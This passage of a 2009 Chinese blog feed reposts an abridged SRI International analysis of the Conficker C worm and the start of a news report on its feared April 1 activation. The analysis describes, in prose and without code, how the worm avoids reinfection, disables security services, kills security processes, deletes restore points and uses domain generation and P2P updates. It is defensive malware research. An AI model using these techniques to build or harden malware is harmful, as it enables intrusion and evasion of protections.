15.好女孩总有几个闺密。不只是粘着男友，懂得和朋友分享自己的幸福和喜悦，还有成长的烦恼。<br>
<br>
16.好女孩闲暇时间会读很多书。在书籍里开拓视野，增长知识，提升心智。在书里寻求一种安静的成长。</font><br>
</font></p>
<p> </p>
<p> </p>
<p> </p>
<p><font size="4">----</font></p>
<p><font size="4">转载自&ldquo;http://hi.baidu.com/kingpheonix/blog/item/a674077b15d036fc0bd187a6.html&rdquo;</font></p> <a href="http://hi.baidu.com/harite/blog/item/2fb8fa1fbed57afde1fe0b3f.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/harite/blog/category/%C9%FA%BB%EE%CD%F2%CB%EA">生活万岁</a>&nbsp;<a href="http://hi.baidu.com/harite/blog/item/2fb8fa1fbed57afde1fe0b3f.html#comment">查看评论</a>]]></description>
        <pubDate>2009年04月05日 星期日  下午 08:26</pubDate>
        <category><![CDATA[生活万岁]]></category>
        <author><![CDATA[harite]]></author>
		<guid>http://hi.baidu.com/harite/blog/item/2fb8fa1fbed57afde1fe0b3f.html</guid>
</item>

<item>
        <title><![CDATA[Conficker C  Analysis(转载)]]></title>
        <link><![CDATA[http://hi.baidu.com/harite/blog/item/0768bb358679bd83a61e1286.html]]></link>
        <description><![CDATA[
		
		<p>承接上一篇，看下预言中即将在愚人节狂飙的东东是个啥玩意儿。</p>
<p>转自&ldquo;http://mtc.sri.com/Conficker/addendumC/&rdquo;，省略了一些章节，原因是百度日志长度的限制。</p>
<p> </p>
<p>
<table style="text-align: left; width: 100%" class="FCK__ShowTableBorders" border="0" cellspacing="2" cellpadding="2">
    <tbody>
        <tr>
            <td style="vertical-align: top"><big>SRI International<br>
            <small>Technical Report</small></big></td>
            <td style="vertical-align: top"> </td>
        </tr>
        <tr>
            <td style="vertical-align: top"><big><span><br>
            Addendum<br>
            <br>
            Conficker C  Analysis</span></big><br>
            Phillip Porras, Hassen Saidi, and Vinod Yegneswaran<br>
            <span style=" font-weight: normal">http://mtc.sri.com/Conficker</span><br>
            <br>
            Release Date: 08 March 2009<br>
            Last Update:&nbsp;&nbsp;  <span style="color: rgb(255,0,0)">19 March 2009</span><br>
             </td>
            <td style="vertical-align: top"> </td>
        </tr>
        <tr>
            <td style="vertical-align: top; font-weight: normal"><span>Computer Science Laboratory</span> <br>
            <span>SRI International</span><br>
            <span>333 Ravenswood Avenue<br>
            Menlo Park CA 94025 USA</span></td>
            <td style="text-align: right; vertical-align: top"> </td>
        </tr>
    </tbody>
</table>
<br>
<br>
<br>
<table style="text-align: left; width: 100%" border="1" cellspacing="2" cellpadding="2">
    <tbody>
        <tr>
            <td style="vertical-align: top">
            <div style="text-align: center"><span style="color: rgb(153,0,0); font-weight: bold"><br>
            -- NOTICES -- <br>
            <br style="color: rgb(153,0,0); font-weight: bold">
            </span></div>
            <div style="text-align: center; color: rgb(153,0,0); font-weight: bold">This draft document represents an analysis in progress and is subject to</div>
            <div style="text-align: center"><span style="color: rgb(153,0,0); font-weight: bold">continual enhancement, error correction, and  improvement<big><br>
            <br>
            </big><br>
            </span></div>
            </td>
        </tr>
    </tbody>
</table>
</p>
<h2> </h2>
<h2>Introduction</h2>
<p style="text-align: justify">This addendum provides an evolving snapshot of our understanding of the latest Conficker variant, referred to as<span style="font-style: italic"> Conficker C</span>.&nbsp;&nbsp;  The variant was brought to the attention of the Conficker Working Group when one member reported that a compromised Conficker B honeypot was updated with a new dynamically linked library (DLL). Although a network trace for this infection is not available, we suspect that this DLL may have propagated via Conficker's Internet rendezvous point mechanism (<a href="http://mtc.sri.com/Conficker/addendumC/#sec-global-impact">Global Network Impact</a>).&nbsp;&nbsp;  The infection was found on the morning of Friday, 6 March 2009 (PST), and it was later reported that other working group members had received other DLL reinfections throughout the same day.&nbsp;&nbsp;  Since that point, multiple members have reported upgrades of previously infected machines to this latest variant via HTTP-based Internet rendezvous points.  We believe this latest outbreak of Conficker variant C began first spreading at roughly 6 p.m. PST, 4 March 2009 (5 March UTC).&nbsp;&nbsp;&nbsp;</p>
<p style="text-align: justify"><span style="font-style: italic"><br>
</span>In this addendum report, we summarize the inner workings and practical implications of this latest malicious software application produced by the Conficker developers.&nbsp;&nbsp;  In addition to the dual layers of packing and encryption used to protect A and B from reverse engineering, this latest variant also cloaks its newest code segments, along with its latest functionality, under a significant layer of code obfuscation to further hinder binary analysis.&nbsp;&nbsp;  Nevertheless, with a careful mixture of static and dynamic analysis, we attempt here to summarize the internal logic of Conficker C.</p>
<p><br>
 </p>
<div style="text-align: justify">
<h2>Implications of Variant C</h2>
Variant C represents the third major revision of the Conficker malware family, which first appeared on the Internet on 20 November 2008.&nbsp;&nbsp;  C distinguishes itself as a significant revision to Conficker B.  In fact, we estimate that C  leaves as little as 15% of the original B code base untouched, as illustrated in Appendix 3,  <a href="http://mtc.sri.com/Conficker/addendumC/#Appendix_3_Compartive_Assessment_from_">A Comparative Assessment of Conficker B and C Process Images</a>. &nbsp;&nbsp;  Whereas the recently reported B++ variant represented a more surgical derivative of B,  C incorporates a major restructuring of B's previous thread architecture and program logic, including major functional additions such as a new peer-to-peer (P2P) coordination channel,  and a revision of the domain generation algorithm (DGA).   It is clear that the Conficker authors are well informed and are tracking efforts to eliminate the previous Conficker epidemics at the host and Internet governance level.  In Conficker C, they have now responded with many of their own countermeasures to thwart these latest defenses.<br>
<br>
For example, C's latest revision of Conficker's now well-known Internet rendezvous logic may represent a direct retort to the action of the Conficker Cabal, which recently blocked all domain registrations associated with the A and B strains.&nbsp;&nbsp;  C now selects its rendezvous points from a pool of over 50,000 randomly generated domain name candidates each day.&nbsp;&nbsp;  C further increases Conficker's top-level domain (TLD) spread from five TLDs in Conficker A, to eight TLDs in B, to 110 TLDs that must now be involved in coordination efforts to track and block C's potential DNS queries.&nbsp;&nbsp;&nbsp;  With this latest escalation in domain space manipulation, C not only represents a significant challenge to those hoping to track its census, but highlights some weaknesses in the long-term viability of how  Internet address and name space governance is conducted.<br>
  <br>
One interesting and minimally explored aspect of Conficker is its early and sophisticated adoption of binary encryption, digital signatures, and advanced hash algorithms to prevent third-party hijacking of the infected population.&nbsp;&nbsp;  At its core, the main purpose of Conficker is to provide the authors with a secure binary updating service that effectively allows them instant control of millions of PCs worldwide.&nbsp;&nbsp;  Through the use of these binary encryption methods, Conficker's authors have taken care to ensure that other groups cannot upload arbitrary binaries to their infected drone population, and these protections cover all Conficker updating services: Internet rendezvous point downloads, buffer overflow re-exploitation, and the latest P2P control protocol.<br>
<br>
In evaluating this mechanism, we find that the Conficker authors have devised a sophisticated encryption protocol that is generally robust to direct attack.  All three crypto-systems employed by Conficker's authors (RC4, RSA, and MD-6) also have one underlying commonality.  They were all produced by Dr. Ron Rivest of MIT.  Furthermore, the use of MD-6 is a particularly unusual algorithm selection, as it represents the latest encryption hash algorithm produced to date.  The discovery of MD-6 in Conficker B is indeed highly unusual given Conficker's own development time line.  We date the creation of Conficker A to have occurred in October 2008, roughly the same time frame that MD-6 had been publicly released by Dr. Rivest (see http://groups.csail.mit.edu/cis/md6).   While A employed SHA-1, we can now confirm that MD-6 had been integrated into Conficker B by late December 2008 (i.e., the authors chose to incorporate a hash algorithm that had literally been made publicly available only a few weeks earlier).<br>
<br>
Unfortunately for the Conficker authors, by mid-January, Dr. Rivest&rsquo;s group submitted a revised version of the MD-6 algorithm, as a buffer overflow had been discovered in its implementation.&nbsp;&nbsp;  This revision was inserted quietly, followed later by a more visible public announcement of the buffer overflow on 19 February 2009, with the release of the Fortify report (http://blog.fortify.com/repo/Fortify-SHA-3-Report.pdf). We confirmed that this buffer overflow was present in the Conficker B implementations.  However, we also confirmed that this buffer overflow was not exploitable as a means to take control of Conficker hosts.&nbsp;&nbsp;&nbsp;  Nevertheless, the Conficker developers were obviously aware of these developments, as they have now repaired their MD-6 implementation in Conficker C, using the identical fix made by Dr. Rivest's group.  Clearly the authors are aware of, and adept at understanding and incorporating, the latest cryptographic advances, and are actively monitoring the latest developments in this community.<br>
<br>
One major implication from the Conficker B and C variants, as well as other now recently emerging malware families, is the sophistication with which they are able to terminate, disable, reconfigure, or blackhole native operating system (OS) and third-party security services.   We provide an in-depth analysis of Conficker's <a href="http://mtc.sri.com/Conficker/addendumC/#SecurityProductDisablement">Security Product Disablement</a> logic, to help illustrate the comprehensive challenge that modern malware poses to security products, and to Microsoft's anti-malware efforts.&nbsp;&nbsp;  Conficker offers a nice illustration of the degree to which security vendors are being actively challenged to not  just hunt for malicious logic, but to defend their own availability, integrity, and the network connectivity vital to providing them a continual flow of the latest malware threat intelligence.<br>
<br>
Perhaps the most obvious frightening aspect of Conficker C is its clear potential to do harm.&nbsp;&nbsp;  Among the long history of malware epidemics, very few can claim sustained worldwide infiltration of multiple millions of infected drones.   Perhaps in the best case, Conficker may be used as a sustained and profitable platform for massive Internet fraud and theft.  In the worst case, Conficker could be turned into a powerful offensive weapon for performing concerted information warfare attacks that could disrupt not just countries, but the Internet itself. <br>
 <br>
Finally, we must also acknowledge the multiple skill sets that are revealed within the evolving design and implementation of Conficker.  Those responsible for this outbreak have demonstrated Internet-wide programming skills, advanced cryptographic skills, custom dual-layer code packing and code obfuscation skills, and in-depth knowledge of Windows internals and security products.  They are among the first to introduce the Internet rendezvous point scheme, and have now integrated a sophisticated P2P protocol that does not require an embedded peer list.  They have continually seeded the Internet with new MD5 variants, and have adapted their code base to address the latest attempts to thwart Conficker.&nbsp;&nbsp;  They have infiltrated government sites, military networks, home PCs, critical infrastructure, small networks, and universities, around the world.  Perhaps an even greater threat than what they have done so far, is what they have learned and what they will build next.</div>
<h2>Conficker C Overview</h2>
<div style="text-align: justify"><a href="http://mtc.sri.com/Conficker/addendumC/index2.html#fig-D-Overview">Figure 1</a> illustrates the Conficker C program structure and logic.&nbsp;&nbsp;  When initialized, the DLL performs its setup logic, similar to that of A and B, with extensions.&nbsp;&nbsp;  At initialization, it checks for the presence of three mutex values on the target host to avoid reinfection.  If absent, these three mutexes are created: 1) the mutex name &quot;Global\&lt;string&gt;-7&quot;; 2) the mutex name &quot;Global\&lt;string&gt;-99; and 3) a mutex named pseudo-randomly generated based on the process ID.  The &lt;string&gt; in the first two mutex is unique per computer name; it is calculated based on the crc32 hash of the computer name and XOR'ed with a constant.  C then installs several in-memory patches to DLLs, and embeds other mechanisms to thwart security applications that would otherwise detect its presence.<br>
<br>
C modifies the host domain name service (DNS) APIs to block various security-related network connections (<a href="http://mtc.sri.com/Conficker/addendumC/#dns-prevention">Domain Lookup Prevention</a>), and installs a pseudo-patch to repair the 445/TCP vulnerability, while maintaining a backdoor for reinfection (<a href="http://mtc.sri.com/Conficker/addendumC/#sec-pseudo-path">Local Host Patch Logic</a>). This pseudo patch protects the host from buffer overflows by sources other than those performed by the Conficker authors or their infected peers. &nbsp;&nbsp;&nbsp;  <br>
<br>
Like Conficker B,  C incorporates logic to defend itself from security products that would otherwise attempt to detect and remove it.&nbsp;&nbsp;&nbsp;&nbsp;  C spawns a security <a href="http://mtc.sri.com/Conficker/addendumC/#service-disablement">product disablement thread</a>.  This thread disables critical host security services, such as Windows defender, as well as Windows services that deliver security patches and software updates.  These changes effectively prevent the victim host from receiving automated software updates. The thread disables security update notifications and deactivates safeboot mode as a future reboot option.  This first thread then spawns a new <a href="http://mtc.sri.com/Conficker/addendumC/#process-termination">security process termination thread</a>, which continually monitors for and kills processes whose names match a blacklisted set of 23 security products, hot fixes, and security diagnosis tools. </div>
<p><br>
<br>
 </p>
<hr style="width: 100%; height: 1px" noshade="noshade">
<p><a name="fig-D-Overview"></a></p>
<p style="text-align: center"><img style="width: 518px; height: 752px" src="http://mtc.sri.com/Conficker/addendumC/functional-thread-overview.jpg"></p>
<p style="text-align: center"><span style="font-weight: bold"> Figure 1:  Overview of Conficker C</span></p>
<hr style="width: 100%; height: 1px" noshade="noshade">
<p style="text-align: justify"><br>
Conficker C installs itself into the user file system and configures the registry appropriately to invoke its DLL at host startup.&nbsp;&nbsp;  It also inserts a variety of extraneous registry keys that are subsequently unused, presumably to cloak its presence (<a href="http://mtc.sri.com/Conficker/addendumC/#install-obfuscate">Obfuscating C's Installation and Its Presence</a>).&nbsp;&nbsp;  It copies itself into a randomly named DLL located in either the System32 directory, program files directory, or the user's temporary files folder.   It deletes all restore points prior to its infection to thwart rollback.  C then  performs a simple validation of its DLL size, and suicides if this check fails.  It sets the DLL's date to the same date as the local  <span>kernel32.dll,</span> and sets NT File System (NTFS) file permissions on its stored file image to prevent write and delete privileges.  Once installed, the DLL spawns a remote thread, which it attaches to the <span>netsvcs.exe</span> or <span>svchost.exe</span> process, depending on the OS version.</p>
<p style="text-align: justify">The core elements of Conficker C are incorporated into two threads:  a P2P communication thread, and the domain generation and Internet rendezvous point thread.  The first thread is embodied in a code segment that has undergone an additional layer of code obfuscation, suggesting a desire by the Conficker authors to hinder its analysis, and thereby providing an obvious point for in depth inspection.&nbsp;&nbsp;  We describe the P2P protocol in <a href="http://mtc.sri.com/Conficker/addendumC/index2.html#peer-to-peer">Peer to Peer Logic</a>.   The P2P protocol includes an ability to coordinate with peers over TCP and UDP channels, as well as download and run digitally signed Win32 binaries.   Incorporated with the P2P thread  is anti-tracing logic that will kill the Conficker C process when run under a debugger.  This logic was removed for this analysis.  Conficker C also incorporates an HTTP date check function, which is discussed within <a href="http://mtc.sri.com/Conficker/addendumC/#peer-to-peer">Peer to Peer Logic</a>.&nbsp;&nbsp;&nbsp;</p>
<div style="text-align: justify">Finally, C introduces a substantial modification of the DGA and query procedure, discussed in <a href="http://mtc.sri.com/Conficker/addendumC/index2.html#domain-generation-algorithm">Domain Generation Algorithm</a>.&nbsp;&nbsp;&nbsp;  The DGA will be activated on 1 April 2009, and before April 1st it will enter a loop that sleeps 24 hours and then rechecks the date via <span>getlocaltime</span>.&nbsp;&nbsp;  Prior to entering the April 1st date check, C will sleep for an initial random interval between 30 and 90 minutes.  More specifically, this sleep interval is between 30 and 90 minutes if the local hour is after 11 a.m. and before 7 a.m. If the  local time is after 8 a.m. and before 11 a.m., the sleep period will be between 2.5  and 3.5 hours.  It will then check for Internet connectivity, and if connected will enter the domain generation logic.&nbsp;&nbsp;  The next section describes this logic in greater detail.</div>
<p style="text-align: justify">省略</p>
<h2>In-Situ Analysis - Sandbox Operations</h2>
<p style="text-align: justify">We used dynamic sandbox monitoring techniques to evaluate the interactions of Conficker C when operating live on the Internet.  The release used for this analysis was monitored and filtered such that it would not cause  harm to other external hosts while these experiments were being conducted.</p>
<p style="text-align: justify">We describe the network profile of a Conficker C infected host during a 30-minute sandbox execution.  Since our current experiments were conducted in early March 2009, we did not see the HTTP rendezvous point lookups.  We expect this activity profile to change on 1 April.&nbsp;&nbsp;  During our pre 1 April sandbox run, we observed the following network effects, which are illustrated in <a href="http://mtc.sri.com/Conficker/addendumC/index.html#fig-net-traffic-profile">Figure 9</a>.</p>
<div style="text-align: justify">DNS queries at a rate of 10 to 25 per 5-minute interval were observed.  We also observed web server queries, which included connections to <span>4shared.com, adobe.com, allegro.pl, ameblo.jp, answers.com, aweber.com, badongo.com, baidu.com. bbc.co.uk, blogfa.com, clicksor.com, comcast.net, cricinfo.com, disney.go.com, ebay.co.uk, facebook.com, fastclick.com, friendster.com, imdb.com, megaporn.com, megaupload.com, miniclip.com, mininova.org, ning.com, photobucket.com, rapidshare.com, reference.com, seznam.cz, soso.com, studiverzeichnis.com, tianya.cn, torrentz.com, tribalfusion.com, tube8.com, tuenti.com, typepad.com, ucoz.ru, veoh.com, vkontakte.ru,wikimedia.org, wordpress.com, xnxx.com, yahoo.com, <span>and </span>youtube.com</span>.<span style="font-weight: bold"><br>
<br>
</span></div>
<div style="text-align: justify">P2P queries were sent to random hosts on high-order ports.  This is steady at a rate of 50 to 60 hosts per 5 minutes in TCP and a rate of 240 to 2500 hosts per 5 minutes in UDP.  The failed TCP and UDP attempts also result in a high rate of inbound ICMP backscatter.</div>
<div style="text-align: justify">There are also six HTTP connections that were all successfully established in the first 5 minutes to t<span>uenti.com, tianya.cn, miniclip.com, blogfa.com, answers.com <span>and </span>rapidshare.com</span>.  In each case, the GET request was to the top directory (GET / HTTP/1.1). Responses are gzip-encoded HTML content.</div>
<div style="margin-left: 40px"><span>GET / HTTP/1.1</span><br>
<span>Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/x-ms-xbap, */*</span><br>
<span>Accept-Language: en-GB</span><br>
<span>Accept-Encoding: gzip, deflate</span><br>
<span>User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)</span><br>
<span>Host: rapidshare.com</span><br>
<span>Connection: Keep-Alive</span></div>
<p><br>
 </p>
<hr style="width: 100%; height: 1px" noshade="noshade">
<p><a name="fig-net-traffic-profile"></a><br>
 </p>
<p><strong><img style="width: 612px; height: 468px" src="http://mtc.sri.com/Conficker/addendumC/in-situ-c.png"><br>
</strong></p>
<div style="text-align: center"><strong>Figure 9:  Pre 1 April 2009 short-term network traffic profile<br>
<br>
<a name="fig-6hr-insitu"></a><br>
<img style="width: 612px; height: 468px" src="http://mtc.sri.com/Conficker/addendumC/insitu-sixhour.png"><br>
</strong><strong>Figure 10:  </strong><span style="font-weight: bold">Post 1 April 2009 6-hour network traffic profile</span><br>
<strong><br>
<br>
</strong></div>
<hr style="width: 100%; height: 1px" noshade="noshade">
<p> </p>
<div style="text-align: justify">We also created a new (mutated) version of the binary that executes the post 1 April 2009 logic.  The graph in <a href="http://mtc.sri.com/Conficker/addendumC/index.html#fig-6hr-insitu">Figure 10</a> summarizies a long-running (6-hour) network trace of this binary.  This figure captures the volumes of observed outbound communication attempts over the multihour run: HTTP, DNS, TCP P2P and UDP P2P, activity.  The DNS activity includes two components: attempts to contact the 500 rendezvous points, and attempts to contact Internet portals for finding the date.  The trace from this live experimental run corroborates our static analysis results: each C host contacts 500 rendezvous points each day over 116 TLDs with a flat entropy (random domain name space).  We see a dropoff in overall levels of DNS activity  after hour 3 when it has looked up the IP addresses of all 500 domains.  In our case, all these were failed (NXDOMAIN) attempts, as these domains have not yet been registered.  <br>
<br>
The UDP and TCP  P2P activity also drops off in the first 2-hours before settling on a steady scanning rate. The HTTP date check activity remains a relatively steady six to nine hosts contacted per hour. The key implication from the in-situ analysis is that it should be fairly easy to fingerprint Conficker C  based upon its unique TCP and UDP scanning patterns.  We should also be able to identify C hosts (starting 1 April 2009) based on the volume of NXDOMAIN responses these hosts would receive for failed DNS lookups.<br>
  <span style="font-weight: bold"><br>
<br>
</span></div>
<h2>Conclusion</h2>
<p style="text-align: justify">We present an analysis of Conficker Variant C, which emerged on the Internet at roughly 6 p.m. (PST) on 4 March 2009.  This variant incorporates significant new functionality, including a new domain generation algorithm and a new peer-to-peer file sharing service.&nbsp;&nbsp;  Absent from our discussion has been any reference to the well-known attack propagation vectors (RCP buffer overflow, USB, and NetBios Scans) that have allowed C's predecessors to saturate so much of the Internet.  Although not present in C, these attack propagation services are but one peer upload away from any C infected host, and may appear at any time.&nbsp;&nbsp;  C is, in fact, a robust and secure distribution utility for distributing malicious content and binaries to millions of computers across the Internet.   This utility incorporates a potent arsenal of methods to defend itself from security products, updates, and diagnosis tools.  It further demonstrates the rapid development pace at which Conficker's authors are maintaining their current foothold on a large number of Internet-connected hosts.  Further, if organized into a coordinated offensive weapon, this multimillion-node botnet poses a serious and dire threat to the Internet.  </p>
<p style="text-align: justify">Our report represents one of many Conficker analysis studies going on throughout the whitehat community, and we are in direct contact with numerous groups that will produce additional details, and will help clarify errors that exist in this report.  This report is a living document, and we will update it regularly, as our understanding of variant C continues to grow. </p>
<p> </p>
<h2>Acknowledgments</h2>
<p style="text-align: justify">We would like to thank Drew Dean from SRI's Computer Science Laboratory for his assistance in understanding the binary validation routine.&nbsp;&nbsp;&nbsp;  We would like to thank Bruce Dang from Microsoft for his assistance in understanding the mutex key generation.&nbsp;&nbsp;  We would like to thank Arvind Narayanan from the University of Texas at Austin for his collaboration in the developing the Horizontal Malware Analysis tool shown in Appendix 2.</p>
<p> </p>
<h2>References</h2>
<p><br>
[<a name="ref-4"></a>4]  P.A. Porras, H. Saidi, and V. Yegneswaran.  &quot;A Multiperspective Analysis of the Storm Worm. SRI Technical Report, 2007.  <a href="http://www.cyber-ta.org/pubs/StormWorm/">http://www.cyber-ta.org/pubs/StormWorm/</a></p>
<p>[<a name="ref-12"></a>12] Eric Chien, &quot;Downadup: Peer-to-Peer Payload Distribution,&quot; 2009.<br>
<a href="http://myitforum.com/cs2/blogs/cmosby/archive/2009/01/22/downadup-peer-to-peer-payload-distribution-symantec-security-response-blog.aspx">http://myitforum.com/cs2/blogs/cmosby/archive/2009/01/22/downadup-peer-to-peer-payload- distribution-symantec-security-response-blog.aspx</a></p>
<p><br>
[<a name="ref-15"></a>15] Jose Nazario, &quot;The Conficker Cabal Announced,&quot; Arbor Networks, 12 February 2009.<br>
<a href="http://asert.arbornetworks.com/2009/02/the-conficker-cabal-announced/">http://asert.arbornetworks.com/2009/02/the-conficker-cabal-announced/</a></p>
<p><br>
[<a name="ref-16"></a>16]  SRI International, &quot;A Comparative Assessment of Conficker B++ vs Conficker C,&quot; 06 March 2008.<br>
<a href="http://mtc.sri.com/Conficker/addendumC/HMA_Compare_ConfB2_ConfC/">http:/mtc.sri.com/Conficker/addendumC/HMA_Compare_ConfB2_ConfC/</a></p>
<p>[<a name="ref-caida-report"></a>17]  CAIDA, &quot;Conficker/Conflicker/Downadup as seen from the UCSD Network Telescope,&quot; February 2009.<br>
<a href="http://www.caida.org/research/security/ms08-067/conficker.xml" eudora="autourl">http://www.caida.org/research/security/ms08-067/conficker.xml</a></p>
<h2> </h2>
<h2>Appendices</h2>
<p><br>
 </p>
<h3>Appendix 1  Embedded Strings Within Conficker C</h3>
<p>We have extracted and categorized the set of strings that are embedded in the Conficker C binary.  The full set of embedded Conficker C strings is listed <a href="http://mtc.sri.com/Conficker/addendumC/appendix1.html">HERE</a>. </p>
<h3><a name="Appendix_2_Domain_Generator_Filtered"></a>Appendix 2&nbsp;&nbsp;  Domain Generator Filtered Address Ranges</h3>
<p>We have isolated the full set of IP address ranges that are used to prefilter all IP addresses produced by the Conficker C domain generation algorithm. This blocklist is shown <a href="http://mtc.sri.com/Conficker/addendumC/appendix2.html">HERE</a>.</p>
<h3><a name="Appendix_3_Compartive_Assessment_from_"></a>Appendix 3&nbsp;&nbsp;  A Comparative Assessment of Conficker B and C Process Images</h3>
<p>This is a comparative assessment of the Conficker B++ vs. Conficker C disassembled process images.  The complete comparative assessment of B++ vs C  is available <a href="http://mtc.sri.com/Conficker/addendumC/HMA_Compare_ConfB2_ConfC/">HERE</a>.</p>
<h3><a name="appendix4"></a>Appendix 4&nbsp;&nbsp;  Sandbox Results from Running Conficker C</h3>
<p>This appendix shows a forensic analysis of the Conficker C binary as captured through dynamic network analysis and sandbox testing.  See the full list of  forensic results <a href="http://mtc.sri.com/Conficker/addendumC/appendix4.html">HERE</a>.</p>
<h3><a name="appendix5-api-recovery-table"></a>Appendix 5&nbsp;&nbsp;  API Recovery Table</h3>
<p>This appendix maps the set of obfuscated APIs to their code offsets.  The map is useful for a reverse engineering analyst to understand the P2P protocol logic.  See the API list <a href="http://mtc.sri.com/Conficker/addendumC/appendix5.html">HERE</a>.</p> <a href="http://hi.baidu.com/harite/blog/item/0768bb358679bd83a61e1286.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/harite/blog/category/%B0%B2%C8%AB%BC%BC%CA%F5">安全技术</a>&nbsp;<a href="http://hi.baidu.com/harite/blog/item/0768bb358679bd83a61e1286.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月26日 星期四  下午 07:00</pubDate>
        <category><![CDATA[安全技术]]></category>
        <author><![CDATA[harite]]></author>
		<guid>http://hi.baidu.com/harite/blog/item/0768bb358679bd83a61e1286.html</guid>
</item>

<item>
        <title><![CDATA[愚人节黑客可能发动史上最强网络攻击(转载)]]></title>
        <link><![CDATA[http://hi.baidu.com/harite/blog/item/1add8dd63ab9a02706088b41.html]]></link>
        <description><![CDATA[
		
		<p>转自&ldquo;http://www.cert.org.cn/articles/news/common/2009032624260.shtml&rdquo;</p>
<p> </p>
<p>
<table class="FCK__ShowTableBorders" border="0" cellspacing="0" cellpadding="0" width="100%">
    <tbody>
        <tr>
            <td class="3jtitle" colspan="2" align="center">愚人节黑客可能发动史上最强网络攻击</td>
        </tr>
        <tr style="border-bottom: #b22222 1px solid; border-left: #b22222 1px solid; overflow-y: visible; height: 400px; border-top: #b22222 1px solid; border-right: #b22222 1px solid">
            <td class="3neirong" valign="top" colspan="2" align="left">
            <p> </p>
            <p>&nbsp;&nbsp;&nbsp;  在默默感染全世界超过1500万台电脑之后，被微软研究人员戏称为&ldquo;蠕虫模范&rdquo;的Conficker蠕虫病毒即将露出其狰狞的面目。3月25日，国内最大的网络安全厂商360安全中心发布预警称，Conficker蠕虫病毒的作者很可能在4月1日起发动一场史无前例的全球性网络攻击，届时包括百度、开心网、迪斯尼、IBM等在内的上百家全球大型网站极有可能面临服务器瘫痪、用户无法访问的巨大风险。几乎同一时间，两大国际知名安全机构冠群金辰、趋势科技也紧急针对该病毒发布了愚人节预警信息。 <br>
            <br>
            &nbsp;&nbsp;&nbsp;  神秘Conficker布下&ldquo;愚人节迷局&rdquo; 曾让法国战机停飞 <br>
            <br>
            &nbsp;&nbsp;&nbsp;  360安全专家石晓虹博士表示，根据360安全中心截获的Conficker蠕虫病毒及其变种的样本分析，该病毒作者极有可能从4月1日起，控制其所感染的上千万台&ldquo;僵尸&rdquo;电脑，自动向全球上百家大型网站发送网络数据，攻击形式极可能是针对网络服务器的DDOS主流攻击，攻击目标主要是全球排名靠前的大型互联网站和企业站点，百度、腾讯搜搜、开心网、校内网等4家等国内人气极高的网站也赫然在列。 <br>
            <br>
            &nbsp;&nbsp;&nbsp;  &ldquo;Conficker.C蠕虫正在它所感染的电脑中进行休眠的死循环，一旦系统时间到2009年4月1日之后，它就会清醒过来，在一系列浮点运算后向上百家预先指定的网站发送数据包，以Conficker.C在全球多达上千万台电脑的感染量来判断，它们所组成的僵尸网络在互联网世界中威力不亚于核武器，任何一家网站的服务器在这样高强度的攻击压力下都会迅速瘫痪，而这些攻击目标很可能是Conficker作者在Alexa流量排名中选取的高排名站点。&rdquo;360安全中心的工程师分析称。 <br>
            <br>
            &nbsp;&nbsp;&nbsp;  据了解，Conficker蠕虫在去年11月首次现身在互联网中，它利用Windows操作系统MS08-067漏洞将自己植入未打补丁的电脑，并以局域网、U盘等多种方式传播。一位法国士兵便是在家使用U盘中了Conficker，随后法国海军内网被大面积感染，军方如临大敌，不仅切断所有Web与电邮系统，部分战机的起飞计划也被突然叫停。随后，英国、德国的军事系统也爆出大面积感染Conficker蠕虫的消息，其传播能力与影响力可见一斑。 <br>
            <br>
            &nbsp;&nbsp;&nbsp;  诡异的是，在疯狂感染全球电脑之余，Conficker蠕虫的行为却出奇地&ldquo;安分守己&rdquo;。从表面上来看，&ldquo;它一不为名&mdash;&mdash;不倒计时60秒、不拥堵网络、不弹窗、不穿透还原、不让众人皆知；二不图利&mdash;&mdash;只是隐藏起来而不窃网银网游，甚至连攻击失败导致用户电脑系统崩溃或登录失败的案例也很少见。&rdquo;微软中国公司资深安全研究人员&ldquo;大牛蛙&rdquo;（网名）在其个人博客中如此写道，&ldquo;堪称是全球蠕虫的&lsquo;模范&rsquo;。&rdquo; <br>
            <br>
            &nbsp;&nbsp;&nbsp;  难道在韬光养晦4个多月后，Conficker作者的最终目标仅仅为了在愚人节发起一次大规模网络攻击？对此，360安全中心工程师称，&ldquo;业内目前对Conficker的猜测众说纷纭，以它庞大感染量所蕴含的能量，获取巨额财富简直易如反掌，甚至可以让全球民用互联网络瘫痪。2002年曾有黑客用百万级的蠕虫攻击位于美国的DNS根服务器，就使谷歌、微软、IBM等网站瘫痪。但已控制了上千万台电脑的Conficker蠕虫目前只是传播自己，幕后黑手迟迟没有动作，让人猜不透黑客的葫芦里究竟卖的什么药？目前我们只能逆向分析获取的样本，Conficker.C变种从4月1日开始发动攻击的意图非常明确，但也不能排除这是其作者跟全球网络安全研究人员开的一次超级愚人节玩笑。&rdquo; <br>
            <br>
            &nbsp;&nbsp;&nbsp;  尽管已经发掘到Conficker蠕虫的部分特征，但360安全中心的工程师同时也承认，目前还很难定位到该作者，&ldquo;Conficker作者如果没有进一步动作，那将很难追踪到他的真实身份，而一旦他启动攻击，后果绝对不堪设想。&rdquo;360安全工程师称，&ldquo;当年不法分子仅购买了500只&lsquo;肉鸡&rsquo;电脑，就能让国内一家大型互联网站的UT服务器瘫痪500多分钟，Conficker蠕虫中光是C变种的感染量就在上千万台的规模。&rdquo; <br>
            <br>
            &nbsp;&nbsp;&nbsp;  Conficker蠕虫作者疑为中国黑客 遭微软25万美金悬赏缉拿 <br>
            <br>
            &nbsp;&nbsp;&nbsp;  Conficker制造的数字时代全球性恐慌因愚人节的日益临近而逐渐加剧。令人吃惊的是，饱受木马病毒侵害的国内网民却少有受Conficker感染的报告。来自360安全中心的数据称，目前确认曾感染Conficker及其变种的国内用户电脑仅有数万的量级，与各互联网发达国家的疫情相比可以说是微不足道，而Conficker的作者恰恰很可能却是中国黑客！ <br>
            <br>
            &nbsp;&nbsp;&nbsp;  360安全中心的工程师表示：&ldquo;Conficker蠕虫相继出现过A、B、C多个变种，根据我们采集的样本分析，Conficker的反汇编代码出现了大量国产木马病毒的特征，部分功能模块更是使用了仅限于国内技术人员中流传的经典代码，因此它的作者极有可能是国内黑客。&rdquo; <br>
            <br>
